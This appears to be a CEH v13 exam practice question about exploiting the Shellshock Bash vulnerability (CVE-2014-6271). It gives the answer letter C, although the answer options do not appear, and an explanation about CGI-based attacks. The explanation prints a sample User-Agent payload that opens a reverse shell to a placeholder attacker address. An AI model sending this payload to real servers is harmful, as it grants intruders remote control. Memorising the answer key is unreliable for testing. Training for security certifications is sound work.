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What is the most common method to exploit the "Bash Bug" or "Shellshock" vulnerability?
Correct Answer: C
In CEH v13 Module 06: Malware Threats, the Shellshock vulnerability (CVE-2014-6271) is described as a severe bug in the Bash shell where specially crafted environment variables could be used to execute arbitrary commands. The most common attack vector: Web servers using CGI scripts written in Bash. Attackers send malicious HTTP requests to CGI endpoints where Bash executes commands. Exploitation looks like: User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 Reference: CEH v13 Module 06 - Shellshock Vulnerability Explanation National Vulnerability Database: CVE-2014-6271